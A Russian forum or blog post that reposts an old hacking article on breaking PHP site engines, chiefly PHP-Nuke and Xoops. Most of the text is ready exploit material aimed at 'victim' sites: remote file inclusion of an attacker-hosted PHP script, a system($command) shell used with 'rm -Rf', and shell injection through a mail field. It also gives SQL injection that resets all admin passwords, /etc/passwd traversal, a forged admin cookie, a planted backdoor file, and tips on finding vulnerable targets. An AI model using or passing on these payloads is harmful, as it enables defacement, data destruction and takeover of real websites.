ALR (АнтиБАН) все записи автора
Недавно прочитал статью по хакингу PHP. Переосмыслил, начал переделывать свой движок, но задумался - а зачем. Зачем кому то хакать сайт, где нет никакой платной информации, всё общедоступно. Бросил это. Движок не доделал. Сайт не пашет. Не знаю, залатывать дыры дальше или загрузить архивную версию движка.
Вот та статья:
Что бы я ни говорил о плюсах PHP, по крайней мере один серьезный недостаток у него точно есть: тема взлома php-скриптов как-то слабо освещена в рунете. Все только говорят, что это очень дырявая штука, приводя тупые доводы, типа "если не проверяются переменные, вебсервер под рутом, да версия дырявая..." А между тем на php уже перешло очень много сайтов, и многие используют не оригинальные скрипты, а стандартные решения, в которых частенько проскакивают уязвимости. О них-то, собственно говоря, и пойдет речь.
Это один из популярнейших сайтовых движков с кучей возможностей: от постинга статей и новостей с возможностью их обсуждения читателями (как на xakep.ru) до автоматизации показа баннеров. О мощи продукта можно судить и по объему дитрибутива: архив с последней версией движка весит... весит... 1.21mb! А ведь там просто скрипты, текстовые файлы...
Впрочем, где много кода, там много багов. С момента появления php-nuke в нем было найдено столько дырок, что любой дуршлаг обзавидуется ;). И уязвимости все - как на подбор: тут тебе и DoS, и выполнение команд, и игры с sql-запросами, и получение прав администратора, и выполнение любого php-кода...
PHP-nuke
PHP-nuke написал некто Франциско Бурзи (Francisco Burzi) для новостного проекта Linux Preview (
http://www.linuxpreview.org/). В далеком 1998 году, когда только появился проект, он работал на perl-овых скриптах, написанных этим же парнем. Но по мере роста сайта стало очевидно, что скрипты не удовлетворяют потребностям, нужно что-то новое, более удобное, быстрое и функциональное. Поскольку Франциско, как сам утверждает, Perl знал паршиво, он взял готовый движок Thatware, подучил PHP и наколбасил за 380 часов PHP-nuke, версию первую, и безумно дырявую. Так 17 августа 2000 года появился на свет рекордсмен по популярности, дырявости и функциональности, великий и ужасный PHP-nuke.
За два года существования движка вышло огромное множество версий, проект, надо отдать должное, отлично поддерживается, и, пожалуй, Франциско здорово пишет на PHP :). Нет, правда, несмотря на КУЧУ дыр, наколбасить ТАКОЙ проект за 380 часов - это круто ;).
URL проекта:
http://www.phpnuke.org/
Уязвимые версии: почти все ;)
Диагноз: выполнение любого php-кода
Xploit:
http://victim/index.php?file=http://bad.script.php
Описалово: Ну что же, дырочка под наш размерчик ;).
Автор движка пишет:
Значения переменной $file проверяются очень скудно - на наличие "..". "/" в начале строки. Не подумал кодер, что в $file может и должен в нашем случае лежать URL на выполняемый PHP-скрипт. Однако не все так просто. Например, когда я тестировал баг на winNT+Apache+php3, тот не заработал - "Failed opening...", понимаешь ли.
Все дело оказалось в настройках php - функция "Url fopen wrapper" у меня была отключена (когда я конфигурировал php, по инерции отрубил все ненужные мне опции). На большинстве серверов функция включена, так что, скорее всего, проблем у тебя не будет. Но даже в моем случае я с легкостью шарился по диску - $file=c:\winnt\win.ini. Естественно, если машина под *nix, такое не пройдет - "/" вырезается из начала строки $file. Теперь о деструктивном скрипте, о том, что туда записать. Вопрос философский, но пару наработок я все же дам:
$a=fopen("$index.php", w);
fputs("$a, "http://coolsite.url/hack.jpg>
From Siberia with love.
Regardz2: X-crew, Bill Gates and Monica Levintsky'", $a);
?>
Простенько и со вкусом, хотя можно пойти дальше:
$a=system($command);
echo "$a";
?>
Этот код, как ты понимаешь, выполнит на сервере команду из переменной $command.
Например, вот так:
http://victim/index.php?file=http://hacker/hack.php?command=rm%20-Rf
В PHP есть два оператора - require и include, которые считывают и выполняют код из указанного файла. Благодаря этому можно создать многократно используемые функции и константы в отдельном файле и вызывать их в остальных сценариях. (Часто для удобства конфигурации сценария все его настройки хранятся в небольшом скрипте, где их может легко редактировать не знающий языка человек, не боясь повредить основной код. Или, скажем, очень удобно включать куски html'я, чтобы многократно не выписывать одни и те же элементы.)
Функции, как видишь, полезны и для кодеров, и для хакеров ;). В чем разница между include(); и require();? Она незаметна, но принципиальна: require(); просто заменяется во время интерпретации кодом из указанного файла, а include(); вычисляет и выполняет код во внешнем файле при каждом обнаружении оператора include. Это позволяет использовать функцию в циклах, что было бы невозможным с require. И еще. При выполнении эти функции возвращают значения - если возникла проблема, то false, если все ОК, то true. Разница в том, что при возникновении трабла с require сценарий будет остановлен, в случае, если используется include, его выполнение продолжится. Таким образом, require, в общем-то, эквивалентен коду:
If(!include(file.php))
{ exit; } else { ... }
?>
Вообще, функция system выполняет любую команду на сервере, возвращая результат ее выполнения. На ней, кстати говоря, много багов основано. Например, для отправки почты часто используется вот такой код:
System("mail $email < text.of.letter.txt");
Однако, если $email имеет вид "--blahundragogo; rm-Rf; lohundra", то опять произойдет удаление всех файлов и подкаталогов относительно этой директории.
Смотри сам:
System("mail -blahundragogo; rm-Rf; lohundra < text.of.letter.txt");
Тут команда состоит из трех частей:
1) mail -blahundra - недопустимый флаг к функции mail, игнорируется;
2) rm-Rf - деструктивная функция;
3) lohundra < text.of.letter.txt - тоже белиберда.
По моим сведениям, эта дырень появилась в багтраках относительно недавно, и на момент написания статьи никаких патчей выпущено не было, а на официальном сайте лежала дырявая версия. Кстати, чуть не забыл. Эта уязвимость позволяет пробэкдорить сервер! Т.е. просто создаешь где-нибудь далеко-далеко, в далекой директории файл lala.php, в который пишешь, например, вот это:
require($file);
?>
Все ;). Теперь, когда перец пропатчит бажный движок, у тебя будет бэкдор, по которому ты сможешь еще разок ломануть сайт;) Правда, недолго он будет работать - если перец не дебил, то, после второго дефейса, он посмотрит логи вебсервера и мигом тебя запалит ;(((. Но всегда остается шанс, что у него либо нет доступа к логам (напишет админам, пришлют ему логи ;(), либо нет мозгов.
Уязвимые версии: 5.*
Диагноз: возможность выполнения почти любого sql-запроса
Xploit:
http://victim/article.php?mainfile=1&sid=1&tid=1&prefix=sql_query
Поиск жертв: файл pollBooth.php или, например, auth.inc.php
Описалово: В ранних версиях движка использовались статичные имена таблиц (типа messages, authors). Понятно, что их наличие в базе данных весьма вероятно, и чтобы избежать недоразумений, к именам теперь прибавляется префикс из переменной $prefix, определяемой в конфигурационном скрипте config.php. SQL-запрос к базе данных в этом случае выглядит примерно так:
mysql_query("UPDATE $prefix"._stories." SET
counter=counter+1 where sid=$sid")
Автор полагает, что $prefix жестко определена в теле скрипта. Наивный ;).
Как видишь, тут происходит вызов mainfile.php, который, в свою очередь, вызывает конфигурационных файл. Этого-то нам как раз не надо, нам нужно, чтобы $prefix была свободна, и мы могли туда засунуть свой собственный запрос. Делается это просто - определяются переменные $mainfile, $tid, $sid, а в $prefix кладется запрос (функция isset(); используется для выяснения немаловажного факта - определена ли какая-либо переменная, т.е., например, заполнил ли пользователь какое-то поле). Что сунуть в $prefix? Ну, например, вот это: authors set pwd='coolpass'; update nuke.
Таким образом, выполняемый запрос будет следующим:
UPDATE authors set pwd='coolpass'; update nuke_stories SET counter=counter+1 where sid=$sid"), что поменяет пароли всех администраторов на "coolpass".
Уязвимые версии: *.*
Диагноз: выполнение кода на стороне клиента
Xploit:
Http://www.hackerdrom.f2s.com/hack.php #сюда я закачаю файл, заодно #посчитаю, сколько народу им заинтересовалось ;)
Поиск жертв: файл pollBooth.php, или, например, auth.inc.php
Описалово:
CSS - Cross Site Scripting. Это целый класс уязвимостей в досках объявлений, форумах, html-чатах и т.п. Уязвимые скрипты позволяют выполнить JavaScript код (любой код, встраиваемый в HTML) на машине клиента - чудака, читающего мессагу в форуме, например. Что это дает? По существу - ничего. Хотя, конечно, всегда остается шанс поприкалываться, накрутить баннерных показов, повесить кому-нибудь машину, попортить реестры, форматнуть пару-тройку HDD ;). Все зависит от твоей фантазии и количества доков по javascript. Работают все дыры одинаково: кое-кто кое-что должным образом не проверил, поэтому я ограничусь тем, что приведу пути эксплоитинга. Их ты найдешь в текстовом файле, слить который можно по вышеприведенному url'у. В разных версиях php-nuke разные дыры, но я собрал в файл абсолютно все пути эксплоита - для всех существующих версий ;).
(Кстати, я сейчас готовлю материал про две часто используемые технологии взлома скриптов: CSS и SQL-injection, в котором расскажу, как сделать все вышеописанное.) ;)
Это тоже site engine, но, как мне показалось, значительно послабее. И функционально, и в области security - более тупых дыр я, пожалуй, не встречал. Программисты славно потрудились над созданием опаснейших уязвимостей - позволили читать файлы и администрировать сайт абсолютно всем ридерам Х :).
Читаем файл
Уязвимые версии: 0.4.02 (последняя)
Диагноз: чтение файлов на сервере
Xploit:
http://victim/index.php?l=../../../etc/passwd
Поиск жертв: файл /lang/Englign/config
Описалово: Мда... дырочка стара как мир, а вот программист про нее почему-то не подумал. Ну что же, получай ;).
Читаем любой файл, доступный данному пользователю. Например, можно прочитать конфигурационный скрипт и выудить оттуда пароль к БД, который может совпасть с паролем на FTP-сервер с сайтом, и так далее. Представь себе, что проверка переменной $l на ".." ВООБЩЕ отсутствует. Это меня очень огорчило - ну не умеешь писать, не пиши. Нет же, лезут, да еще и выставляют свои творения на всеобщее обозрение - непонятно, зачем?
Админим ;)
Уязвимые версии: 0.4.02 (последняя)
Диагноз: получение прав администратора
Xploit: cookie access=ok
Описалово: Честно говоря, когда я вычитал про этот баг, я ржал минут пять, после чего опять взгрустнул. Это сколько же и чего надо выпить, чтобы идентифицировать администратора по cookie "access" с значением "ok" :)? Нет, если бы это был приватный, оригинальный скрипт - куда ни шло, ведь узнать о баге можно только посмотрев его код, снаружи не докопаешься. Но ведь сорсы проекта выложены на сайте, поэтому найти эту тупость - пятиминутное дело. Смотри сам:
Тут, правда, встает "проблема" с подделкой cookie - ведь если ты повесишь плюшку на другом сервере, не на том, куда ломишься, то ничего не выйдет - кукисы доступны только тем хостам, откуда они были повешены. Но это только по идее - cookies подделываются, притом элементарно - ручным редактированием ;). Т.е. вешаешь себе плюшку с любого хоста, открываешь ее текстовым редактором и правишь там хост.
Xoops - очередной дырявый движок, достаточно, как мне показалось, функциональный, поэтому весьма распространенный ;). Дыр я в нем нашел не так уж и много - во-первых, продукт совсем молодой, а во-вторых, программисты думали о security при его написании, хотя, как видно, недолго.
Хакаем SQL
Уязвимые версии: Xoops RC1
Диагноз: выполнение SQL - запроса
Xploit:
http://victim/userinfo.php?uid=77 drop *
Поиск жертв: файл userinfo.php
Описалово: В скрипте userinfo.php отсутствует проверка на спецсимволы в переменной $uid, которая используется в SQL-запросе, что позволяет вволю поиграть с sql-запросами, модифицируя или удаляя данные ;).
Весело? Поехали!
Если поставить в $uid "7545$", то PHP отрапортует об ошибке:
-отрезано-
...
MySQL Query Error: SELECT u.*, s.* FROM x_users u, x_users_status s WHERE
u.uid=7545$ AND u.uid=s.uid
Error number:1064
Error message: You have an error in your SQL syntax near '; AND u.uid=s.uid' at line 1
...
-отрезано-
Это здорово помогает - ты видишь, как устроен sql-запрос, что позволяет вволю оттянуться ;)! Ну, например... вот так вот:
$uid =2; update x_users password='coolpass'; select * x_from users where uid='1'
Теперь отправляемый SQL-запрос выглядит вот так:
SELECT u.*, s.* FROM x_users u, x_users_status s WHERE
u.uid=2; update x_users password='coolpass'; select * x_from users where uid='1'
AND u.uid=s.uid
Понятное дело, что вместо "update x_users..." может стоять ЛЮБОЙ sql-запрос, права на выполнение которого есть у текущего sql-ного юзера.
Этот абзац посвящен тем, кто НЕ ЗНАЕТ, как искать уязвимые сайты. Если ты не из их числа - пропускай эти строки, ничего не потеряешь. Итак... Начнем с азов... Что такое скрипт? Помимо выполняемой на стороне сервера программы, это просто файл. И как всякий файл, работающий в сайте, на него ведут гиперссылки с других страниц.
Теперь давай вспомним, как работают поисковые системы. Человек регистрирует сайт, его URL заносится в базу данных, откуда умная программа-бот выбирает адреса и идет по ним, сканируя структуру сайтов. Сканирует она ее, прежде всего, расхаживая по ссылкам, начиная с начальной страницы. Таким образом, весь текст на САЙТЕ - совокупности страниц, объединенных гиперссылками, - заносится в базу данных поискового сервера, откуда делается выборка в процессе поиска введенного пользователем текста.
В базу данных заносится как тест на странице, так и название файла - это как раз то, что нам нужно. Теперь, если, например, у человека на сайте есть файл mainfile.php, и на него стоит гиперссылка, то он автоматом попадает в БД при индексации сайта.
Таким образом, для поиска жертвы достаточно набрать в поисковике имя уязвимого скрипта. Еще часто используют специальные сканеры, которые, подобно боту поисковой системы, проверяют заданные URL'ы на наличие либо конкретного скрипта, либо группы скриптов. Понятно, что подобное сканирование с диалапа или при платном трафике - безмазовое занятие, так что лучше доверься альтависте ;). Вообще, этими сканерами пользуются, когда работают над конкретным сайтом - берется лист с пятью тысячами дырявых скриптов, и за ночь он прокручивается - в этом раскладе такое сканирование оправдано.
P.S.
Я рассказал тебе о трех бажных site engine'ах. Показал на их примере самые типичные для php уязвимости - возьми любой дырявый php-скрипт из багтрака, там, скорее всего, будут точно такие же дыры. Надеюсь, ты не воспримешь статью, как руководство по скрипткиддингу, а поймешь, что взламывать PHP ничуть не менее интересно, чем perl ;).
P.P.S. Все баги тестировались на локальном вебсервере Apache под winNT с прикрученным PHP третьей версии.